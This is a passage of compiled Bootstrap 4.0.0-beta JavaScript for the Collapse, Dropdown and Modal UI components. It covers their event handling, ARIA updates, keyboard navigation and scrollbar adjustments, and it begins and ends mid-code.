(!Util.supportsTransitionEnd()) {\n        complete();\n        return;\n      }\n\n      var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);\n      var scrollSize = 'scroll' + capitalizedDimension;\n\n      $(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n\n      this._element.style[dimension] = this._element[scrollSize] + 'px';\n    };\n\n    Collapse.prototype.hide = function hide() {\n      var _this7 = this;\n\n      if (this._isTransitioning || !$(this._element).hasClass(ClassName.SHOW)) {\n        return;\n      }\n\n      var startEvent = $.Event(Event.HIDE);\n      $(this._element).trigger(startEvent);\n      if (startEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      var dimension = this._getDimension();\n\n      this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + 'px';\n\n      Util.reflow(this._element);\n\n      $(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW);\n\n      if (this._triggerArray.length) {\n        for (var i = 0; i < this._triggerArray.length; i++) {\n          var trigger = this._triggerArray[i];\n          var selector = Util.getSelectorFromElement(trigger);\n          if (selector !== null) {\n            var $elem = $(selector);\n            if (!$elem.hasClass(ClassName.SHOW)) {\n              $(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false);\n            }\n          }\n        }\n      }\n\n      this.setTransitioning(true);\n\n      var complete = function complete() {\n        _this7.setTransitioning(false);\n        $(_this7._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN);\n      };\n\n      this._element.style[dimension] = '';\n\n      if (!Util.supportsTransitionEnd()) {\n        complete();\n        return;\n      }\n\n      $(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n    };\n\n    Collapse.prototype.setTransitioning = function setTransitioning(isTransitioning) {\n      this._isTransitioning = isTransitioning;\n    };\n\n    Collapse.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n\n      this._config = null;\n      this._parent = null;\n      this._element = null;\n      this._triggerArray = null;\n      this._isTransitioning = null;\n    };\n\n    // private\n\n    Collapse.prototype._getConfig = function _getConfig(config) {\n      config = $.extend({}, Default, config);\n      config.toggle = Boolean(config.toggle); // coerce string values\n      Util.typeCheckConfig(NAME, config, DefaultType);\n      return config;\n    };\n\n    Collapse.prototype._getDimension = function _getDimension() {\n      var hasWidth = $(this._element).hasClass(Dimension.WIDTH);\n      return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT;\n    };\n\n    Collapse.prototype._getParent = function _getParent() {\n      var _this8 = this;\n\n      var parent = $(this._config.parent)[0];\n      var selector = '[data-toggle=\"collapse\"][data-parent=\"' + this._config.parent + '\"]';\n\n      $(parent).find(selector).each(function (i, element) {\n        _this8._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]);\n      });\n\n      return parent;\n    };\n\n    Collapse.prototype._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) {\n      if (element) {\n        var isOpen = $(element).hasClass(ClassName.SHOW);\n\n        if (triggerArray.length) {\n          $(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen);\n        }\n      }\n    };\n\n    // static\n\n    Collapse._getTargetFromElement = function _getTargetFromElement(element) {\n      var selector = Util.getSelectorFromElement(element);\n      return selector ? $(selector)[0] : null;\n    };\n\n    Collapse._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var $this = $(this);\n        var data = $this.data(DATA_KEY);\n        var _config = $.extend({}, Default, $this.data(), (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config);\n\n        if (!data && _config.toggle && /show|hide/.test(config)) {\n          _config.toggle = false;\n        }\n\n        if (!data) {\n          data = new Collapse(this, _config);\n          $this.data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(Collapse, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }]);\n\n    return Collapse;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    if (!/input|textarea/i.test(event.target.tagName)) {\n      event.preventDefault();\n    }\n\n    var $trigger = $(this);\n    var selector = Util.getSelectorFromElement(this);\n    $(selector).each(function () {\n      var $target = $(this);\n      var data = $target.data(DATA_KEY);\n      var config = data ? 'toggle' : $trigger.data();\n      Collapse._jQueryInterface.call($target, config);\n    });\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Collapse._jQueryInterface;\n  $.fn[NAME].Constructor = Collapse;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Collapse._jQueryInterface;\n  };\n\n  return Collapse;\n}(jQuery);\n\n/* global Popper */\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Dropdown = function ($) {\n\n  /**\n   * Check for Popper dependency\n   * Popper - https://popper.js.org\n   */\n  if (typeof Popper === 'undefined') {\n    throw new Error('Bootstrap dropdown require Popper.js (https://popper.js.org)');\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'dropdown';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.dropdown';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key\n  var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key\n  var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key\n  var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key\n  var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key\n  var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse)\n  var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + '|' + ARROW_DOWN_KEYCODE + '|' + ESCAPE_KEYCODE);\n\n  var Event = {\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    CLICK: 'click' + EVENT_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY,\n    KEYDOWN_DATA_API: 'keydown' + EVENT_KEY + DATA_API_KEY,\n    KEYUP_DATA_API: 'keyup' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    DISABLED: 'disabled',\n    SHOW: 'show',\n    DROPUP: 'dropup',\n    MENURIGHT: 'dropdown-menu-right',\n    MENULEFT: 'dropdown-menu-left'\n  };\n\n  var Selector = {\n    DATA_TOGGLE: '[data-toggle=\"dropdown\"]',\n    FORM_CHILD: '.dropdown form',\n    MENU: '.dropdown-menu',\n    NAVBAR_NAV: '.navbar-nav',\n    VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled)'\n  };\n\n  var AttachmentMap = {\n    TOP: 'top-start',\n    TOPEND: 'top-end',\n    BOTTOM: 'bottom-start',\n    BOTTOMEND: 'bottom-end'\n  };\n\n  var Default = {\n    placement: AttachmentMap.BOTTOM,\n    offset: 0,\n    flip: true\n  };\n\n  var DefaultType = {\n    placement: 'string',\n    offset: '(number|string)',\n    flip: 'boolean'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Dropdown = function () {\n    function Dropdown(element, config) {\n      _classCallCheck(this, Dropdown);\n\n      this._element = element;\n      this._popper = null;\n      this._config = this._getConfig(config);\n      this._menu = this._getMenuElement();\n      this._inNavbar = this._detectNavbar();\n\n      this._addEventListeners();\n    }\n\n    // getters\n\n    // public\n\n    Dropdown.prototype.toggle = function toggle() {\n      if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n        return;\n      }\n\n      var parent = Dropdown._getParentFromElement(this._element);\n      var isActive = $(this._menu).hasClass(ClassName.SHOW);\n\n      Dropdown._clearMenus();\n\n      if (isActive) {\n        return;\n      }\n\n      var relatedTarget = {\n        relatedTarget: this._element\n      };\n      var showEvent = $.Event(Event.SHOW, relatedTarget);\n\n      $(parent).trigger(showEvent);\n\n      if (showEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      var element = this._element;\n      // for dropup with alignment we use the parent as popper container\n      if ($(parent).hasClass(ClassName.DROPUP)) {\n        if ($(this._menu).hasClass(ClassName.MENULEFT) || $(this._menu).hasClass(ClassName.MENURIGHT)) {\n          element = parent;\n        }\n      }\n      this._popper = new Popper(element, this._menu, this._getPopperConfig());\n\n      // if this is a touch-enabled device we add extra\n      // empty mouseover listeners to the body's immediate children;\n      // only needed because of broken event delegation on iOS\n      // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n      if ('ontouchstart' in document.documentElement && !$(parent).closest(Selector.NAVBAR_NAV).length) {\n        $('body').children().on('mouseover', null, $.noop);\n      }\n\n      this._element.focus();\n      this._element.setAttribute('aria-expanded', true);\n\n      $(this._menu).toggleClass(ClassName.SHOW);\n      $(parent).toggleClass(ClassName.SHOW).trigger($.Event(Event.SHOWN, relatedTarget));\n    };\n\n    Dropdown.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n      $(this._element).off(EVENT_KEY);\n      this._element = null;\n      this._menu = null;\n      if (this._popper !== null) {\n        this._popper.destroy();\n      }\n      this._popper = null;\n    };\n\n    Dropdown.prototype.update = function update() {\n      this._inNavbar = this._detectNavbar();\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate();\n      }\n    };\n\n    // private\n\n    Dropdown.prototype._addEventListeners = function _addEventListeners() {\n      var _this9 = this;\n\n      $(this._element).on(Event.CLICK, function (event) {\n        event.preventDefault();\n        event.stopPropagation();\n        _this9.toggle();\n      });\n    };\n\n    Dropdown.prototype._getConfig = function _getConfig(config) {\n      var elementData = $(this._element).data();\n      if (elementData.placement !== undefined) {\n        elementData.placement = AttachmentMap[elementData.placement.toUpperCase()];\n      }\n\n      config = $.extend({}, this.constructor.Default, $(this._element).data(), config);\n\n      Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);\n\n      return config;\n    };\n\n    Dropdown.prototype._getMenuElement = function _getMenuElement() {\n      if (!this._menu) {\n        var parent = Dropdown._getParentFromElement(this._element);\n        this._menu = $(parent).find(Selector.MENU)[0];\n      }\n      return this._menu;\n    };\n\n    Dropdown.prototype._getPlacement = function _getPlacement() {\n      var $parentDropdown = $(this._element).parent();\n      var placement = this._config.placement;\n\n      // Handle dropup\n      if ($parentDropdown.hasClass(ClassName.DROPUP) || this._config.placement === AttachmentMap.TOP) {\n        placement = AttachmentMap.TOP;\n        if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n          placement = AttachmentMap.TOPEND;\n        }\n      } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n        placement = AttachmentMap.BOTTOMEND;\n      }\n      return placement;\n    };\n\n    Dropdown.prototype._detectNavbar = function _detectNavbar() {\n      return $(this._element).closest('.navbar').length > 0;\n    };\n\n    Dropdown.prototype._getPopperConfig = function _getPopperConfig() {\n      var popperConfig = {\n        placement: this._getPlacement(),\n        modifiers: {\n          offset: {\n            offset: this._config.offset\n          },\n          flip: {\n            enabled: this._config.flip\n          }\n        }\n\n        // Disable Popper.js for Dropdown in Navbar\n      };if (this._inNavbar) {\n        popperConfig.modifiers.applyStyle = {\n          enabled: !this._inNavbar\n        };\n      }\n      return popperConfig;\n    };\n\n    // static\n\n    Dropdown._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' ? config : null;\n\n        if (!data) {\n          data = new Dropdown(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    Dropdown._clearMenus = function _clearMenus(event) {\n      if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n        return;\n      }\n\n      var toggles = $.makeArray($(Selector.DATA_TOGGLE));\n      for (var i = 0; i < toggles.length; i++) {\n        var parent = Dropdown._getParentFromElement(toggles[i]);\n        var context = $(toggles[i]).data(DATA_KEY);\n        var relatedTarget = {\n          relatedTarget: toggles[i]\n        };\n\n        if (!context) {\n          continue;\n        }\n\n        var dropdownMenu = context._menu;\n        if (!$(parent).hasClass(ClassName.SHOW)) {\n          continue;\n        }\n\n        if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $.contains(parent, event.target)) {\n          continue;\n        }\n\n        var hideEvent = $.Event(Event.HIDE, relatedTarget);\n        $(parent).trigger(hideEvent);\n        if (hideEvent.isDefaultPrevented()) {\n          continue;\n        }\n\n        // if this is a touch-enabled device we remove the extra\n        // empty mouseover listeners we added for iOS support\n        if ('ontouchstart' in document.documentElement) {\n          $('body').children().off('mouseover', null, $.noop);\n        }\n\n        toggles[i].setAttribute('aria-expanded', 'false');\n\n        $(dropdownMenu).removeClass(ClassName.SHOW);\n        $(parent).removeClass(ClassName.SHOW).trigger($.Event(Event.HIDDEN, relatedTarget));\n      }\n    };\n\n    Dropdown._getParentFromElement = function _getParentFromElement(element) {\n      var parent = void 0;\n      var selector = Util.getSelectorFromElement(element);\n\n      if (selector) {\n        parent = $(selector)[0];\n      }\n\n      return parent || element.parentNode;\n    };\n\n    Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) {\n      if (!REGEXP_KEYDOWN.test(event.which) || /button/i.test(event.target.tagName) && event.which === SPACE_KEYCODE || /input|textarea/i.test(event.target.tagName)) {\n        return;\n      }\n\n      event.preventDefault();\n      event.stopPropagation();\n\n      if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n        return;\n      }\n\n      var parent = Dropdown._getParentFromElement(this);\n      var isActive = $(parent).hasClass(ClassName.SHOW);\n\n      if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n\n        if (event.which === ESCAPE_KEYCODE) {\n          var toggle = $(parent).find(Selector.DATA_TOGGLE)[0];\n          $(toggle).trigger('focus');\n        }\n\n        $(this).trigger('click');\n        return;\n      }\n\n      var items = $(parent).find(Selector.VISIBLE_ITEMS).get();\n\n      if (!items.length) {\n        return;\n      }\n\n      var index = items.indexOf(event.target);\n\n      if (event.which === ARROW_UP_KEYCODE && index > 0) {\n        // up\n        index--;\n      }\n\n      if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) {\n        // down\n        index++;\n      }\n\n      if (index < 0) {\n        index = 0;\n      }\n\n      items[index].focus();\n    };\n\n    _createClass(Dropdown, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }, {\n      key: 'DefaultType',\n      get: function get() {\n        return DefaultType;\n      }\n    }]);\n\n    return Dropdown;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + ' ' + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    event.preventDefault();\n    event.stopPropagation();\n    Dropdown._jQueryInterface.call($(this), 'toggle');\n  }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) {\n    e.stopPropagation();\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Dropdown._jQueryInterface;\n  $.fn[NAME].Constructor = Dropdown;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Dropdown._jQueryInterface;\n  };\n\n  return Dropdown;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Modal = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'modal';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.modal';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 300;\n  var BACKDROP_TRANSITION_DURATION = 150;\n  var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key\n\n  var Default = {\n    backdrop: true,\n    keyboard: true,\n    focus: true,\n    show: true\n  };\n\n  var DefaultType = {\n    backdrop: '(boolean|string)',\n    keyboard: 'boolean',\n    focus: 'boolean',\n    show: 'boolean'\n  };\n\n  var Event = {\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    FOCUSIN: 'focusin' + EVENT_KEY,\n    RESIZE: 'resize' + EVENT_KEY,\n    CLICK_DISMISS: 'click.dismiss' + EVENT_KEY,\n    KEYDOWN_DISMISS: 'keydown.dismiss' + EVENT_KEY,\n    MOUSEUP_DISMISS: 'mouseup.dismiss' + EVENT_KEY,\n    MOUSEDOWN_DISMISS: 'mousedown.dismiss' + EVENT_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    SCROLLBAR_MEASURER: 'modal-scrollbar-measure',\n    BACKDROP: 'modal-backdrop',\n    OPEN: 'modal-open',\n    FADE: 'fade',\n    SHOW: 'show'\n  };\n\n  var Selector = {\n    DIALOG: '.modal-dialog',\n    DATA_TOGGLE: '[data-toggle=\"modal\"]',\n    DATA_DISMISS: '[data-dismiss=\"modal\"]',\n    FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n    NAVBAR_TOGGLER: '.navbar-toggler'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Modal = function () {\n    function Modal(element, config) {\n      _classCallCheck(this, Modal);\n\n      this._config = this._getConfig(config);\n      this._element = element;\n      this._dialog = $(element).find(Selector.DIALOG)[0];\n      this._backdrop = null;\n      this._isShown = false;\n      this._isBodyOverflowing = false;\n      this._ignoreBackdropClick = false;\n      this._originalBodyPadding = 0;\n      this._scrollbarWidth = 0;\n    }\n\n    // getters\n\n    // public\n\n    Modal.prototype.toggle = function toggle(relatedTarget) {\n      return this._isShown ? this.hide() : this.show(relatedTarget);\n    };\n\n    Modal.prototype.show = function show(relatedTarget) {\n      var _this10 = this;\n\n      if (this._isTransitioning) {\n        return;\n      }\n\n      if (Util.supportsTransitionEnd() && $(this._element).hasClass(ClassName.FADE)) {\n        this._isTransitioning = true;\n      }\n\n      var showEvent = $.Event(Event.SHOW, {\n        relatedTarget: relatedTarget\n      });\n\n      $(this._element).trigger(showEvent);\n\n      if (this._isShown || showEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      this._isShown = true;\n\n      this._checkScrollbar();\n      this._setScrollbar();\n\n      $(document.body).addClass(ClassName.OPEN);\n\n      this._setEscapeEvent();\n      this._setResizeEvent();\n\n      $(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) {\n        return _this10.hide(event);\n      });\n\n      $(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () {\n        $(_this10._element).one(Event.MOUSEUP_DISMISS, function (event) {\n          if ($(event.target).is(_this10._element)) {\n            _this10._ignoreBackdropClick = true;\n          }\n        });\n      });\n\n      this._showBackdrop(function () {\n        return _this10._showElement(relatedTarget);\n      });\n    };\n\n    Modal.prototype.hide = function hide(event) {\n      var _this11 = this;\n\n      if (event) {\n        event.preventDefault();\n      }\n\n      if (this._isTransitioning || !this._isShown) {\n        return;\n      }\n\n      var transition = Util.supportsTransitionEnd() && $(this._element).hasClass(ClassName.FADE);\n\n      if (transition) {\n        this._isTransitioning = true;\n      }\n\n      var hideEvent = $.Event(Event.HIDE);\n\n      $(this._element).trigger(hideEvent);\n\n      if (!this._isShown || hideEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      this._isShown = false;\n\n      this._setEscapeEvent();\n      this._setResizeEvent();\n\n      $(document).off(Event.FOCUSIN);\n\n      $(this._element).removeClass(ClassName.SHOW);\n\n      $(this._element).off(Event.CLICK_DISMISS);\n      $(this._dialog).off(Event.MOUSEDOWN_DISMISS);\n\n      if (transition) {\n\n        $(this._element).one(Util.TRANSITION_END, function (event) {\n          return _this11._hideModal(event);\n        }).emulateTransitionEnd(TRANSITION_DURATION);\n      } else {\n        this._hideModal();\n      }\n    };\n\n    Modal.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n\n      $(window, document, this._element, this._backdrop).off(EVENT_KEY);\n\n      this._config = null;\n      this._element = null;\n      this._dialog = null;\n      this._backdrop = null;\n      this._isShown = null;\n      this._isBodyOverflowing = null;\n      this._ignoreBackdropClick = null;\n      this._scrollbarWidth = null;\n    };\n\n    Modal.prototype.handleUpdate = function handleUpdate() {\n      this._adjustDialog();\n    };\n\n    // private\n\n    Modal.prototype._getConfig = function _getConfig(config) {\n      config = $.extend({}, Default, config);\n      Util.typeCheckConfig(NAME, config, DefaultType);\n      return config;\n    };\n\n    Modal.prototype._showElement = function _showElement(relatedTarget) {\n      var _this12 = this;\n\n      var transition = Util.supportsTransitionEnd() && $(this._element).hasClass(ClassName.FADE);\n\n      if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n        // don't move modals dom position\n        document.body.appendChild(this._element);\n      }\n\n      this._element.style.display = 'block';\n      this._element.removeAttribute('aria-hidden');\n      this._element.scrollTop = 0;\n\n      if (transition) {\n        Util.reflow(this._element);\n      }\n\n      $(this._element).addClass(ClassName.SHOW);\n\n      if (this._config.focus) {\n        this._enforceFocus();\n      }\n\n      var shownEvent = $.Event(Event.SHOWN, {\n        relatedTarget: relatedTarget\n      });\n\n      var transitionComplete = function transitionComplete() {\n        if (_this12._config.focus) {\n          _this12._element.focus();\n        }\n        _this12._isTransitioning = false;\n        $(_this12._element).trigger(shownEvent);\n      };\n\n      if (transition) {\n        $(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(TRANSITION_DURATION);\n      } else {\n        transitionComplete();\n      }\n    };\n\n    Modal.prototype._enforceFocus = function _enforceFocus() {\n      var _this13 = this;\n\n      $(document).off(Event.FOCUSIN) // guard against infinite focus loop\n      .on(Event.FOCUSIN, function (event) {\n        if (document !== event.target && _this13._element !== event.target && !$(_this13._element).has(event.target).length) {\n          _this13._element.focus();\n        }\n      });\n    };\n\n    Modal.prototype._setEscapeEvent = function _setEscapeEvent() {\n      var _this14 = this;\n\n      if (this._isShown && this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN_DISMISS, function (event) {\n          if (event.which === ESCAPE_KEYCODE) {\n            event.preventDefault();\n            _this14.hide();\n          }\n        });\n      } else if (!this._isShown) {\n        $(this._element).off(Event.KEYDOWN_DISMISS);\n      }\n    };\n\n    Modal.prototype._setResizeEvent = function _setResizeEvent() {\n      var _this15 = this;\n\n      if (this._isShown) {\n        $(window).on(Event.RESIZE, function (event) {\n          return _this15.handleUpdate(event);\n        });\n      } else {\n        $(window).off(Event.RESIZE);\n      }\n    };\n\n    Modal.prototype._hideModal = function _hideModal() {\n      var _this16 = this;\n\n      this._element.style.display = 'none';\n      this._element.setAttribute('aria-hidden', true);\n      this._isTransitioning = false;\n      this._showBackdrop(function () {\n        $(document.body).removeClass(ClassName.OPEN);\n        _this16._resetAdjustments();\n        _this16._resetScrollbar();\n        $(_this16._element).trigger(Event.HIDDEN);\n      });\n    };\n\n    Modal.prototype._removeBackdrop = function _removeBackdrop() {\n      if (this._backdrop) {\n        $(this._backdrop).remove();\n        this._backdrop = null;\n      }\n    };\n\n    Modal.prototype._showBackdrop = function _showBackdrop(callback) {\n      var _this17 = this;\n\n      var animate = $(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : '';\n\n      if (this._isShown && this._config.backdrop) {\n        var doAnimate = Util.supportsTransitionEnd() && animate;\n\n        this._backdrop = document.createElement('div');\n        this._backdrop.className = ClassName.BACKDROP;\n\n        if (animate) {\n          $(this._backdrop).addClass(animate);\n        }\n\n        $(this._backdrop).appendTo(document.body);\n\n        $(this._element).on(Event.CLICK_DISMISS, function (event) {\n          if (_this17._ignoreBackdropClick) {\n            _this17._ignoreBackdropClick = false;\n            return;\n          }\n          if (event.target !== event.currentTarget) {\n            return;\n          }\n          if (_this17._config.backdrop === 'static') {\n            _this17._element.focus();\n          } else {\n            _this17.hide();\n          }\n        });\n\n        if (doAnimate) {\n          Util.reflow(this._backdrop);\n        }\n\n        $(this._backdrop).addClass(ClassName.SHOW);\n\n        if (!callback) {\n          return;\n        }\n\n        if (!doAnimate) {\n          callback();\n          return;\n        }\n\n        $(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(BACKDROP_TRANSITION_DURATION);\n      } else if (!this._isShown && this._backdrop) {\n        $(this._backdrop).removeClass(ClassName.SHOW);\n\n        var callbackRemove = function callbackRemove() {\n          _this17._removeBackdrop();\n          if (callback) {\n            callback();\n          }\n        };\n\n        if (Util.supportsTransitionEnd() && $(this._element).hasClass(ClassName.FADE)) {\n          $(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(BACKDROP_TRANSITION_DURATION);\n        } else {\n          callbackRemove();\n        }\n      } else if (callback) {\n        callback();\n      }\n    };\n\n    // ----------------------------------------------------------------------\n    // the following methods are used to handle overflowing modals\n    // todo (fat): these should probably be refactored out of modal.js\n    // ----------------------------------------------------------------------\n\n    Modal.prototype._adjustDialog = function _adjustDialog() {\n      var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;\n\n      if (!this._isBodyOverflowing && isModalOverflowing) {\n        this._element.style.paddingLeft = this._scrollbarWidth + 'px';\n      }\n\n      if (this._isBodyOverflowing && !isModalOverflowing) {\n        this._element.style.paddingRight = this._scrollbarWidth + 'px';\n      }\n    };\n\n    Modal.prototype._resetAdjustments = function _resetAdjustments() {\n      this._element.style.paddingLeft = '';\n      this._element.style.paddingRight = '';\n    };\n\n    Modal.prototype._checkScrollbar = function _checkScrollbar() {\n      this._isBodyOverflowing = document.body.clientWidth < window.innerWidth;\n      this._scrollbarWidth = this._getScrollbarWidth();\n    };\n\n    Modal.prototype._setScrollbar = function _setScrollbar() {\n      var _this18 = this;\n\n      if (this._isBodyOverflowing) {\n        // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n        //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n        // Adjust fixed content padding\n        $(Selector.FIXED_CONTENT).each(function (index, element) {\n          var actualPadding = $(element)[0].style.paddingRight;\n          var calculatedPadding = $(element).css('padding-right');\n          $(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this18._scrollbarWidth + 'px');\n        });\n\n        // Adjust navbar-toggler margin\n        $(Selector.NAVBAR_TOGGLER).each(function (index, element) {\n          var actualMargin = $(element)[0].style.marginRight;\n          var calculatedMargin = $(element).css('margin-right');\n          $(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) + _this18._scrollbarWidth + 'px');\n        });\n\n        // Adjust body padding\n        var actualPadding = document.body.style.paddingRight;\n        var calculatedPadding = $('body').css('padding-right');\n        $('body').data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + 'px');\n      }\n    };\n\n    Modal.prototype._resetScrollbar = function _resetScrollbar() {\n      // Restore fixed content padding\n      $(Selector.FIXED_CONTENT).each(function (index, element) {\n        var padding = $(element).data('padding-right');\n        if (typeof padding !== 'undefined') {\n          $(element).css('padding-right', padding).removeData('padding-right');\n        }\n      });\n\n      // Restore navbar-toggler margin\n      $(Selector.NAVBAR_TOGGLER).each(function (index, element) {\n        var margin = $(element).data('margin-right');\n        if (typeof margin !== 'undefined') {\n          $(element).css('margin-right', margin).removeData('margin-right');\n        }\n      });\n\n      // Restore body padding\n      var padding = $('body').data('padding-right');\n      if (typeof padding !== 'undefined') {\n        $('body').css('padding-right', padding).removeData('padding-right');\n      }\n    };\n\n    Modal.prototype._getScrollbarWidth = function _getScrollbarWidth() {\n      // thx d.walsh\n      var scrollDiv = document.createElement('div');\n      scrollDiv.className = 